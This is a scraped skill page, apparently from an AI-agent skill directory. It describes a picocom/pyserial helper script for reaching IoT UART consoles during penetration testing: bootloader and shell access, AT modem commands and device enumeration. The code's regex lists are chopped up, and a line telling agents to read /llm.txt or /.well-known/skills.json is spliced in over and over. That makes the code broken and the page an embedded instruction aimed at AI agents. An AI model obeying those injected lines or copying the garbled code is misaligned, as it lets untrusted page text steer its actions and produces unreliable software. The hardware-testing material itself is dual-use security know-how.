picocom — Skillopedia

IoT UART Console (picocom) This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery. Prerequisites - picocom must be installed on the system - Python 3 with pyserial library ( on Arch, or ) - UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.) - Appropriate permissions to access serial devices (typically /dev/ttyUSB or /dev/ttyACM ) Recommended Approach: Serial He…

, # # or $\n r'root@[^#]+#', # root@device#\n r'=>\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # U-Boot =>\n r'U-Boot>', # U-Boot>\n r'>\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # Generic >\n r'login:\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # Login prompt\n r'Password:\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # Password prompt\n ]\n\n # AT command response patterns (cellular/satellite modems)\n AT_RESPONSE_PATTERNS = [\n r'^OK\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # Success response\n r'^ERROR\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # Generic error\n r'^\\+CME ERROR:', # Mobile equipment error\n r'^\\+CMS ERROR:', # SMS error\n r'^NO CARRIER\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # Connection failed\n r'^BUSY\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # Line busy\n r'^NO DIALTONE\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # No dial tone\n r'^NO ANSWER\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, # No answer\n r'^CONNECT', # Connection established\n ]\n\n AT_SUCCESS_PATTERNS = [r'^OK\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

, r'^CONNECT']\n AT_ERROR_PATTERNS = [\n r'^ERROR\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

,\n r'^\\+CME ERROR:',\n r'^\\+CMS ERROR:',\n r'^NO CARRIER\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

,\n r'^BUSY\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

,\n r'^NO DIALTONE\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

,\n r'^NO ANSWER\\s*

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.

,\n ]\n\n def __init__(self, device: str, baud: int = 115200, timeout: float = 3.0,\n prompt_pattern: Optional[str] = None, debug: bool = False,\n logfile: Optional[str] = None, at_mode: bool = False):\n \"\"\"\n Initialize serial helper.\n\n Args:\n device: Serial device path (e.g., /dev/ttyUSB0)\n baud: Baud rate (default: 115200)\n timeout: Read timeout in seconds (default: 3.0)\n prompt_pattern: Custom regex pattern for prompt detection\n debug: Enable debug output\n logfile: Optional file path to log all I/O\n at_mode: Enable AT command mode for cellular/satellite modems\n \"\"\"\n self.device = device\n self.baud = baud\n self.timeout = timeout\n self.debug = debug\n self.serial = None\n self.detected_prompt = None\n self.logfile = None\n self.at_mode = at_mode\n\n # Setup patterns based on mode\n if at_mode:\n # AT command mode - use response terminators instead of prompts\n self.response_patterns = [re.compile(p, re.MULTILINE) for p in self.AT_RESPONSE_PATTERNS]\n self.success_patterns = [re.compile(p, re.MULTILINE) for p in self.AT_SUCCESS_PATTERNS]\n self.error_patterns = [re.compile(p, re.MULTILINE) for p in self.AT_ERROR_PATTERNS]\n self.prompt_patterns = [] # Not used in AT mode\n elif prompt_pattern:\n self.prompt_patterns = [re.compile(prompt_pattern)]\n else:\n self.prompt_patterns = [re.compile(p) for p in self.DEFAULT_PROMPT_PATTERNS]\n\n # Track command history\n self.command_history = []\n\n # Open logfile if specified\n if logfile:\n try:\n self.logfile = open(logfile, 'a', buffering=1) # Line buffered\n self._log(f\"\\n{'='*60}\\n\")\n self._log(f\"Session started: {datetime.now().isoformat()}\\n\")\n self._log(f\"Device: {device} @ {baud} baud\\n\")\n self._log(f\"{'='*60}\\n\")\n except IOError as e:\n print(f\"Warning: Could not open logfile {logfile}: {e}\", file=sys.stderr)\n self.logfile = None\n\n def _debug_print(self, msg: str):\n \"\"\"Print debug message if debug mode is enabled.\"\"\"\n if self.debug:\n print(f\"[DEBUG] {msg}\", file=sys.stderr)\n\n def _log(self, data: str):\n \"\"\"Write data to logfile if enabled.\"\"\"\n if self.logfile:\n self.logfile.write(data)\n self.logfile.flush()\n\n def connect(self, skip_prompt_detection: bool = False) -> bool:\n \"\"\"\n Establish serial connection.\n\n Args:\n skip_prompt_detection: Skip prompt detection for passive monitoring (default: False)\n\n Returns:\n True if connection successful, False otherwise\n \"\"\"\n try:\n self._debug_print(f\"Connecting to {self.device} at {self.baud} baud...\")\n # Create serial object without opening to set DTR/RTS first\n self.serial = serial.Serial()\n self.serial.port = self.device\n self.serial.baudrate = self.baud\n self.serial.bytesize = serial.EIGHTBITS\n self.serial.parity = serial.PARITY_NONE\n self.serial.stopbits = serial.STOPBITS_ONE\n self.serial.timeout = self.timeout\n self.serial.xonxoff = False\n self.serial.rtscts = False\n self.serial.dsrdtr = False\n self.serial.dtr = False # Don't toggle DTR (can reset modems)\n self.serial.rts = False # Don't toggle RTS\n self.serial.open()\n\n # Clear any existing data\n self.serial.reset_input_buffer()\n self.serial.reset_output_buffer()\n\n if self.at_mode:\n # AT command mode - verify modem responds to basic AT command\n self._debug_print(\"AT mode enabled, verifying modem response...\")\n time.sleep(0.1)\n self._send_raw(\"AT\\r\\n\")\n time.sleep(0.3)\n response = self._read_raw(timeout=1.0)\n if \"OK\" in response:\n self._debug_print(\"AT modem detected and responding\")\n elif \"ERROR\" in response:\n self._debug_print(\"AT modem responded with ERROR (may need initialization)\")\n else:\n self._debug_print(f\"Warning: AT modem may not be responding (got: {response.strip()[:50]})\")\n self._debug_print(\"Connected successfully (AT command mode)\")\n elif not skip_prompt_detection:\n # Shell mode - send a newline to get initial prompt\n self._send_raw(\"\\r\\n\")\n time.sleep(0.5)\n\n # Try to detect prompt\n initial_output = self._read_raw(timeout=1.0)\n self._detect_prompt(initial_output)\n\n self._debug_print(f\"Connected successfully. Detected prompt: {self.detected_prompt}\")\n else:\n self._debug_print(f\"Connected successfully (passive monitoring mode)\")\n\n return True\n\n except serial.SerialException as e:\n print(f\"Error connecting to {self.device}: {e}\", file=sys.stderr)\n return False\n except Exception as e:\n print(f\"Unexpected error: {e}\", file=sys.stderr)\n return False\n\n def disconnect(self):\n \"\"\"Close serial connection.\"\"\"\n if self.serial and self.serial.is_open:\n self._debug_print(\"Disconnecting...\")\n self.serial.close()\n self.serial = None\n\n if self.logfile:\n self._log(f\"\\n{'='*60}\\n\")\n self._log(f\"Session ended: {datetime.now().isoformat()}\\n\")\n self._log(f\"{'='*60}\\n\\n\")\n self.logfile.close()\n self.logfile = None\n\n def _send_raw(self, data: str):\n \"\"\"Send raw data to serial port.\"\"\"\n if self.serial and self.serial.is_open:\n self.serial.write(data.encode('utf-8'))\n self.serial.flush()\n self._log(data) # Log sent data\n\n def _read_raw(self, timeout: Optional[float] = None) -> str:\n \"\"\"\n Read raw data from serial port.\n\n Args:\n timeout: Optional custom timeout for this read\n\n Returns:\n Decoded string from serial port\n \"\"\"\n if not self.serial or not self.serial.is_open:\n return \"\"\n\n original_timeout = self.serial.timeout\n if timeout is not None:\n self.serial.timeout = timeout\n\n try:\n output = b\"\"\n start_time = time.time()\n while True:\n if self.serial.in_waiting:\n chunk = self.serial.read(self.serial.in_waiting)\n output += chunk\n self._debug_print(f\"Read {len(chunk)} bytes\")\n else:\n # Check if we've exceeded timeout\n if time.time() - start_time > (timeout or self.timeout):\n break\n time.sleep(0.05)\n\n decoded = output.decode('utf-8', errors='replace')\n self._log(decoded) # Log received data\n return decoded\n finally:\n self.serial.timeout = original_timeout\n\n def _detect_prompt(self, text: str):\n \"\"\"\n Detect prompt pattern in text.\n\n Args:\n text: Text to search for prompt\n \"\"\"\n lines = text.split('\\n')\n for line in reversed(lines):\n line = line.strip()\n if line:\n for pattern in self.prompt_patterns:\n if pattern.search(line):\n self.detected_prompt = pattern.pattern\n self._debug_print(f\"Detected prompt pattern: {self.detected_prompt}\")\n return\n\n def _wait_for_prompt(self, timeout: Optional[float] = None) -> Tuple[str, bool]:\n \"\"\"\n Read until prompt is detected or timeout occurs.\n\n Args:\n timeout: Optional custom timeout\n\n Returns:\n Tuple of (output, prompt_found)\n \"\"\"\n output = \"\"\n start_time = time.time()\n timeout_val = timeout or self.timeout\n\n while True:\n chunk = self._read_raw(timeout=0.1)\n if chunk:\n output += chunk\n self._debug_print(f\"Accumulated {len(output)} chars\")\n\n # Check if prompt is in the output\n for pattern in self.prompt_patterns:\n if pattern.search(output.split('\\n')[-1]):\n self._debug_print(\"Prompt detected\")\n return output, True\n\n # Check timeout\n if time.time() - start_time > timeout_val:\n self._debug_print(\"Timeout waiting for prompt\")\n return output, False\n\n time.sleep(0.05)\n\n def _wait_for_at_response(self, timeout: Optional[float] = None) -> Tuple[str, bool, bool]:\n \"\"\"\n Wait for AT command response (OK, ERROR, etc.)\n Used in AT mode for cellular/satellite modems.\n\n Args:\n timeout: Optional custom timeout\n\n Returns:\n Tuple of (output, completed, success)\n - output: Raw response text\n - completed: True if response terminator found (OK, ERROR, etc.)\n - success: True if OK/CONNECT, False if ERROR/NO CARRIER/etc.\n \"\"\"\n output = \"\"\n start_time = time.time()\n timeout_val = timeout or self.timeout\n\n while True:\n chunk = self._read_raw(timeout=0.1)\n if chunk:\n output += chunk\n self._debug_print(f\"Accumulated {len(output)} chars\")\n\n # Check each line for response terminators\n for line in output.split('\\n'):\n line = line.strip()\n if not line:\n continue\n\n # Check for success patterns (OK, CONNECT)\n for pattern in self.success_patterns:\n if pattern.search(line):\n self._debug_print(f\"AT success response detected: {line}\")\n return output, True, True\n\n # Check for error patterns\n for pattern in self.error_patterns:\n if pattern.search(line):\n self._debug_print(f\"AT error response detected: {line}\")\n return output, True, False\n\n # Check timeout\n if time.time() - start_time > timeout_val:\n self._debug_print(\"Timeout waiting for AT response\")\n return output, False, False\n\n time.sleep(0.05)\n\n def _clean_output(self, raw_output: str, command: str) -> str:\n \"\"\"\n Clean command output by removing echoes, prompts, and ANSI codes.\n\n Args:\n raw_output: Raw output from serial\n command: Command that was sent\n\n Returns:\n Cleaned output\n \"\"\"\n # Remove ANSI escape codes\n ansi_escape = re.compile(r'\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')\n cleaned = ansi_escape.sub('', raw_output)\n\n # Split into lines\n lines = cleaned.split('\\n')\n\n # Remove empty lines and prompts\n result_lines = []\n for line in lines:\n line = line.strip('\\r\\n')\n\n # Skip empty lines\n if not line.strip():\n continue\n\n # Skip lines that are just the command echo\n if line.strip() == command.strip():\n continue\n\n # Skip lines that match prompt patterns\n is_prompt = False\n for pattern in self.prompt_patterns:\n if pattern.search(line):\n is_prompt = True\n break\n if is_prompt:\n continue\n\n result_lines.append(line)\n\n return '\\n'.join(result_lines)\n\n def send_command(self, command: str, timeout: Optional[float] = None,\n clean: bool = True) -> Tuple[str, bool]:\n \"\"\"\n Send command and wait for output.\n\n Args:\n command: Command to send\n timeout: Optional custom timeout\n clean: Whether to clean the output (remove echoes, prompts)\n\n Returns:\n Tuple of (output, success)\n \"\"\"\n if not self.serial or not self.serial.is_open:\n return \"\", False\n\n self._debug_print(f\"Sending command: {command}\")\n\n # Clear input buffer\n self.serial.reset_input_buffer()\n\n # Send command with carriage return\n self._send_raw(f\"{command}\\r\\n\")\n\n # Small delay to let command be processed\n time.sleep(0.1)\n\n # Wait for response based on mode\n if self.at_mode:\n # AT command mode - wait for OK/ERROR response\n raw_output, completed, success = self._wait_for_at_response(timeout)\n else:\n # Shell mode - wait for prompt\n raw_output, prompt_found = self._wait_for_prompt(timeout)\n completed = prompt_found\n success = prompt_found\n\n # Track command\n self.command_history.append({\n 'command': command,\n 'timestamp': datetime.now().isoformat(),\n 'success': success,\n 'completed': completed,\n 'raw_output': raw_output[:200] + '...' if len(raw_output) > 200 else raw_output\n })\n\n # Clean output if requested\n if clean:\n output = self._clean_output(raw_output, command)\n else:\n output = raw_output\n\n self._debug_print(f\"Command completed. Success: {success}\")\n return output, success\n\n def send_commands(self, commands: List[str], delay: float = 0.5) -> List[dict]:\n \"\"\"\n Send multiple commands in sequence.\n\n Args:\n commands: List of commands to send\n delay: Delay between commands in seconds\n\n Returns:\n List of dictionaries with command results\n \"\"\"\n results = []\n for command in commands:\n output, success = self.send_command(command)\n results.append({\n 'command': command,\n 'output': output,\n 'success': success\n })\n if delay > 0:\n time.sleep(delay)\n return results\n\n def interactive_mode(self):\n \"\"\"\n Enter interactive mode where user can type commands.\n Type 'exit' or Ctrl-C to quit.\n \"\"\"\n print(f\"Interactive mode - connected to {self.device}\")\n print(\"Type 'exit' or press Ctrl-C to quit\")\n print(\"-\" * 50)\n\n try:\n while True:\n try:\n command = input(\">>> \")\n if command.strip().lower() in ('exit', 'quit'):\n break\n\n if not command.strip():\n continue\n\n output, success = self.send_command(command)\n print(output)\n\n if not success:\n print(\"[WARNING] Command may have timed out or failed\", file=sys.stderr)\n\n except EOFError:\n break\n\n except KeyboardInterrupt:\n print(\"\\nExiting interactive mode...\")\n\n def monitor_mode(self, duration: float = 30.0, trigger_script: Optional[str] = None,\n trigger_delay: float = 5.0, baseline_duration: float = 0.0) -> Dict:\n \"\"\"\n Passive monitoring mode - continuously read serial output.\n Optionally run an external trigger script and capture before/during/after output.\n\n Args:\n duration: Total monitoring duration in seconds (default: 30.0)\n trigger_script: Optional external script/command to run\n trigger_delay: Seconds to wait before running trigger (default: 5.0)\n baseline_duration: Seconds to capture baseline before trigger (if 0, trigger runs immediately)\n\n Returns:\n Dictionary with monitoring results including baseline, trigger, and post-trigger output\n \"\"\"\n if not self.serial or not self.serial.is_open:\n return {'error': 'Serial connection not open'}\n\n print(f\"Monitor mode - capturing for {duration} seconds\")\n if trigger_script:\n print(f\"Trigger script: {trigger_script}\")\n print(f\"Trigger will run after {trigger_delay} seconds\")\n print(\"-\" * 50)\n\n result = {\n 'duration': duration,\n 'trigger_script': trigger_script,\n 'trigger_delay': trigger_delay,\n 'baseline_duration': baseline_duration,\n 'baseline_output': [],\n 'trigger_output': [],\n 'post_trigger_output': [],\n 'trigger_executed': False,\n 'trigger_exit_code': None,\n 'trigger_timestamp': None,\n 'timeline': []\n }\n\n start_time = time.time()\n trigger_time = start_time + trigger_delay\n baseline_end_time = start_time + baseline_duration if baseline_duration > 0 else start_time\n trigger_executed = False\n\n try:\n while True:\n current_time = time.time()\n elapsed = current_time - start_time\n\n # Check if we've exceeded total duration\n if elapsed >= duration:\n break\n\n # Read available data\n if self.serial.in_waiting:\n chunk = self.serial.read(self.serial.in_waiting)\n decoded = chunk.decode('utf-8', errors='replace')\n timestamp = datetime.now().isoformat()\n\n # Log to file if enabled\n self._log(decoded)\n\n # Categorize output based on timeline\n timeline_entry = {\n 'timestamp': timestamp,\n 'elapsed': elapsed,\n 'data': decoded\n }\n\n if current_time \u003c baseline_end_time:\n # Baseline period\n result['baseline_output'].append(decoded)\n timeline_entry['phase'] = 'baseline'\n elif trigger_executed:\n # Post-trigger period\n result['post_trigger_output'].append(decoded)\n timeline_entry['phase'] = 'post_trigger'\n else:\n # Pre-trigger or during trigger\n result['trigger_output'].append(decoded)\n timeline_entry['phase'] = 'trigger'\n\n result['timeline'].append(timeline_entry)\n\n # Print to console with timestamp\n print(f\"[{elapsed:6.2f}s] {decoded}\", end='', flush=True)\n\n # Execute trigger script if it's time\n if trigger_script and not trigger_executed and current_time >= trigger_time:\n print(f\"\\n{'='*50}\")\n print(f\"[TRIGGER] Executing: {trigger_script}\")\n print(f\"{'='*50}\")\n\n result['trigger_timestamp'] = datetime.now().isoformat()\n\n try:\n # Execute the trigger script\n proc = subprocess.run(\n trigger_script,\n shell=True,\n capture_output=True,\n text=True,\n timeout=min(30, duration - elapsed - 1) # Don't exceed remaining time\n )\n result['trigger_exit_code'] = proc.returncode\n result['trigger_executed'] = True\n\n print(f\"[TRIGGER] Exit code: {proc.returncode}\")\n if proc.stdout:\n print(f\"[TRIGGER] stdout: {proc.stdout[:200]}\")\n if proc.stderr:\n print(f\"[TRIGGER] stderr: {proc.stderr[:200]}\", file=sys.stderr)\n\n except subprocess.TimeoutExpired:\n print(f\"[TRIGGER] WARNING: Script timed out\", file=sys.stderr)\n result['trigger_exit_code'] = -1\n result['trigger_executed'] = True\n except Exception as e:\n print(f\"[TRIGGER] ERROR: {e}\", file=sys.stderr)\n result['trigger_exit_code'] = -2\n result['trigger_executed'] = True\n\n trigger_executed = True\n print(f\"{'='*50}\\n\")\n\n # Small sleep to avoid busy-waiting\n time.sleep(0.01)\n\n except KeyboardInterrupt:\n print(\"\\n\\nMonitoring interrupted by user\")\n result['interrupted'] = True\n\n # Calculate summary statistics\n total_baseline = ''.join(result['baseline_output'])\n total_trigger = ''.join(result['trigger_output'])\n total_post = ''.join(result['post_trigger_output'])\n\n result['summary'] = {\n 'baseline_bytes': len(total_baseline),\n 'trigger_bytes': len(total_trigger),\n 'post_trigger_bytes': len(total_post),\n 'total_bytes': len(total_baseline) + len(total_trigger) + len(total_post),\n 'baseline_lines': len(total_baseline.split('\\n')) if total_baseline else 0,\n 'trigger_lines': len(total_trigger.split('\\n')) if total_trigger else 0,\n 'post_trigger_lines': len(total_post.split('\\n')) if total_post else 0,\n }\n\n print(f\"\\n{'='*50}\")\n print(f\"Monitoring complete\")\n print(f\"Captured {result['summary']['total_bytes']} bytes total\")\n if trigger_script:\n print(f\"Baseline: {result['summary']['baseline_bytes']} bytes\")\n print(f\"During trigger: {result['summary']['trigger_bytes']} bytes\")\n print(f\"Post-trigger: {result['summary']['post_trigger_bytes']} bytes\")\n print(f\"{'='*50}\")\n\n return result\n\n\ndef main():\n \"\"\"Main entry point for command-line usage.\"\"\"\n parser = argparse.ArgumentParser(\n description='Serial Helper for IoT UART Console Interaction',\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\"\"\"\nExamples:\n # Single command\n %(prog)s --device /dev/ttyUSB0 --command \"help\"\n\n # Interactive mode\n %(prog)s --device /dev/ttyUSB0 --interactive\n\n # Batch commands from file\n %(prog)s --device /dev/ttyUSB0 --script commands.txt\n\n # Monitor mode - passive listening for 30 seconds\n %(prog)s --device /dev/ttyUSB0 --monitor --duration 30\n\n # Monitor with external trigger script\n %(prog)s --device /dev/ttyUSB0 --monitor --duration 60 \\\\\n --trigger-script \"python3 /path/to/test_script.py\" \\\\\n --trigger-delay 5\n\n # Monitor with baseline capture before trigger\n %(prog)s --device /dev/ttyUSB0 --monitor --duration 60 \\\\\n --trigger-script \"./test.sh\" \\\\\n --baseline-duration 10 \\\\\n --trigger-delay 15\n\n # Custom baud rate and timeout\n %(prog)s --device /dev/ttyUSB0 --baud 57600 --timeout 5 --command \"ps\"\n\n # Raw output (no cleaning)\n %(prog)s --device /dev/ttyUSB0 --command \"help\" --raw\n\n # JSON output for scripting\n %(prog)s --device /dev/ttyUSB0 --command \"help\" --json\n\n # Log all I/O to file (tail -f in another terminal to watch)\n %(prog)s --device /dev/ttyUSB0 --command \"help\" --logfile session.log\n\n # AT command mode for cellular modems (Quectel, Sierra, u-blox, etc.)\n %(prog)s --device /dev/ttyUSB0 --at-mode --command \"AT\"\n %(prog)s --device /dev/ttyUSB0 --at-mode --command \"ATI\"\n %(prog)s --device /dev/ttyUSB0 --at-mode --command \"AT+CGSN\"\n\n # AT mode with batch commands\n %(prog)s --device /dev/ttyUSB0 --at-mode --script at_commands.txt\n\n # AT mode interactive session\n %(prog)s --device /dev/ttyUSB0 --at-mode --interactive\n \"\"\"\n )\n\n # Connection arguments\n parser.add_argument('--device', '-d', default='/dev/ttyUSB0',\n help='Serial device path (default: /dev/ttyUSB0)')\n parser.add_argument('--baud', '-b', type=int, default=115200,\n help='Baud rate (default: 115200)')\n parser.add_argument('--timeout', '-t', type=float, default=3.0,\n help='Read timeout in seconds (default: 3.0)')\n parser.add_argument('--prompt', '-p', type=str,\n help='Custom prompt regex pattern')\n parser.add_argument('--at-mode', '-a', action='store_true',\n help='AT command mode for cellular/satellite modems (uses OK/ERROR instead of prompts)')\n\n # Mode arguments (mutually exclusive)\n mode_group = parser.add_mutually_exclusive_group(required=True)\n mode_group.add_argument('--command', '-c', type=str,\n help='Single command to execute')\n mode_group.add_argument('--interactive', '-i', action='store_true',\n help='Enter interactive mode')\n mode_group.add_argument('--script', '-s', type=str,\n help='File containing commands to execute (one per line)')\n mode_group.add_argument('--monitor', '-m', action='store_true',\n help='Passive monitoring mode (just listen, no commands)')\n\n # Monitor mode specific arguments\n parser.add_argument('--duration', type=float, default=30.0,\n help='Monitoring duration in seconds (default: 30.0)')\n parser.add_argument('--trigger-script', type=str,\n help='External script/command to run during monitoring')\n parser.add_argument('--trigger-delay', type=float, default=5.0,\n help='Seconds to wait before running trigger (default: 5.0)')\n parser.add_argument('--baseline-duration', type=float, default=0.0,\n help='Seconds to capture baseline before trigger (default: 0.0)')\n\n # Output arguments\n parser.add_argument('--raw', '-r', action='store_true',\n help='Output raw response (no cleaning)')\n parser.add_argument('--json', '-j', action='store_true',\n help='Output in JSON format')\n parser.add_argument('--logfile', '-l', type=str,\n help='Log all I/O to file (can tail -f in another terminal)')\n parser.add_argument('--debug', action='store_true',\n help='Enable debug output')\n\n args = parser.parse_args()\n\n # Create serial helper\n helper = SerialHelper(\n device=args.device,\n baud=args.baud,\n timeout=args.timeout,\n prompt_pattern=args.prompt,\n debug=args.debug,\n logfile=args.logfile,\n at_mode=args.at_mode\n )\n\n # Connect to device\n # Skip prompt detection in monitor mode (passive listening)\n skip_prompt = args.monitor if hasattr(args, 'monitor') else False\n if not helper.connect(skip_prompt_detection=skip_prompt):\n sys.exit(1)\n\n try:\n if args.monitor:\n # Monitor mode\n result = helper.monitor_mode(\n duration=args.duration,\n trigger_script=args.trigger_script,\n trigger_delay=args.trigger_delay,\n baseline_duration=args.baseline_duration\n )\n\n if args.json:\n # Convert output lists to single strings for JSON\n json_result = result.copy()\n json_result['baseline_output'] = ''.join(result['baseline_output'])\n json_result['trigger_output'] = ''.join(result['trigger_output'])\n json_result['post_trigger_output'] = ''.join(result['post_trigger_output'])\n # Remove timeline to reduce JSON size (can be very large)\n if 'timeline' in json_result and len(json_result['timeline']) > 100:\n json_result['timeline_count'] = len(json_result['timeline'])\n json_result['timeline'] = json_result['timeline'][:10] + ['... truncated ...'] + json_result['timeline'][-10:]\n print(json.dumps(json_result, indent=2))\n\n sys.exit(0 if not result.get('error') else 1)\n\n elif args.interactive:\n # Interactive mode\n helper.interactive_mode()\n\n elif args.command:\n # Single command mode\n output, success = helper.send_command(args.command, clean=not args.raw)\n\n if args.json:\n result = {\n 'command': args.command,\n 'output': output,\n 'success': success\n }\n print(json.dumps(result, indent=2))\n else:\n print(output)\n\n sys.exit(0 if success else 1)\n\n elif args.script:\n # Batch script mode\n try:\n with open(args.script, 'r') as f:\n commands = [line.strip() for line in f if line.strip() and not line.startswith('#')]\n\n results = helper.send_commands(commands)\n\n if args.json:\n print(json.dumps(results, indent=2))\n else:\n for i, result in enumerate(results, 1):\n print(f\"\\n{'='*50}\")\n print(f\"Command {i}: {result['command']}\")\n print(f\"{'='*50}\")\n print(result['output'])\n if not result['success']:\n print(\"[WARNING] Command may have failed\", file=sys.stderr)\n\n # Exit with error if any command failed\n if not all(r['success'] for r in results):\n sys.exit(1)\n\n except FileNotFoundError:\n print(f\"Error: Script file '{args.script}' not found\", file=sys.stderr)\n sys.exit(1)\n except IOError as e:\n print(f\"Error reading script file: {e}\", file=sys.stderr)\n sys.exit(1)\n\n finally:\n helper.disconnect()\n\n\nif __name__ == '__main__':\n main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":32372,"content_sha256":"ac4f4aeabf2a0f95c901e463d15158cac259b5569951419186ba0bb85f02d120"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"IoT UART Console (picocom)","type":"text"}]},{"type":"paragraph","content":[{"text":"This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Prerequisites","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"picocom must be installed on the system","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Python 3 with pyserial library (","type":"text"},{"text":"sudo pacman -S python-pyserial","type":"text","marks":[{"type":"code_inline"}]},{"text":" on Arch, or ","type":"text"},{"text":"pip install pyserial","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Appropriate permissions to access serial devices (typically /dev/ttyUSB* or /dev/ttyACM*)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Recommended Approach: Serial Helper Script","type":"text"}]},{"type":"paragraph","content":[{"text":"IMPORTANT","type":"text","marks":[{"type":"strong"}]},{"text":": This skill includes a Python helper script (","type":"text"},{"text":"serial_helper.py","type":"text","marks":[{"type":"code_inline"}]},{"text":") that provides a clean, reliable interface for serial communication. ","type":"text"},{"text":"This is the RECOMMENDED method","type":"text","marks":[{"type":"strong"}]},{"text":" for interacting with IoT devices.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Default Session Logging","type":"text"}]},{"type":"paragraph","content":[{"text":"ALL commands run by Claude will be logged to ","type":"text","marks":[{"type":"strong"}]},{"text":"/tmp/serial_session.log","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":" by default.","type":"text","marks":[{"type":"strong"}]}]},{"type":"paragraph","content":[{"text":"To observe what Claude is doing in real-time:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# In a separate terminal, run:\ntail -f /tmp/serial_session.log","type":"text"}]},{"type":"paragraph","content":[{"text":"This allows you to watch all serial I/O as it happens without interfering with the connection.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Why Use the Serial Helper?","type":"text"}]},{"type":"paragraph","content":[{"text":"The helper script solves many problems with direct picocom usage:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Clean output","type":"text","marks":[{"type":"strong"}]},{"text":": Automatically removes command echoes, prompts, and ANSI codes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Prompt detection","type":"text","marks":[{"type":"strong"}]},{"text":": Automatically detects and waits for device prompts","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Timeout handling","type":"text","marks":[{"type":"strong"}]},{"text":": Proper timeout management with no arbitrary sleeps","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Easy scripting","type":"text","marks":[{"type":"strong"}]},{"text":": Simple command-line interface for single commands or batch operations","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Session logging","type":"text","marks":[{"type":"strong"}]},{"text":": All I/O logged to ","type":"text"},{"text":"/tmp/serial_session.log","type":"text","marks":[{"type":"code_inline"}]},{"text":" for observation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reliable","type":"text","marks":[{"type":"strong"}]},{"text":": No issues with TTY requirements or background processes","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Quick Start with Serial Helper","type":"text"}]},{"type":"paragraph","content":[{"text":"Single Command:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command \"help\"","type":"text"}]},{"type":"paragraph","content":[{"text":"With Custom Prompt (recommended for known devices):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt \"User@[^>]+>\" --command \"ifconfig\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Interactive Mode:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive","type":"text"}]},{"type":"paragraph","content":[{"text":"Batch Commands from File:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Create a file with commands (one per line)\necho -e \"help\\ndate\\nifconfig\\nps\" > commands.txt\npython3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt","type":"text"}]},{"type":"paragraph","content":[{"text":"JSON Output (for 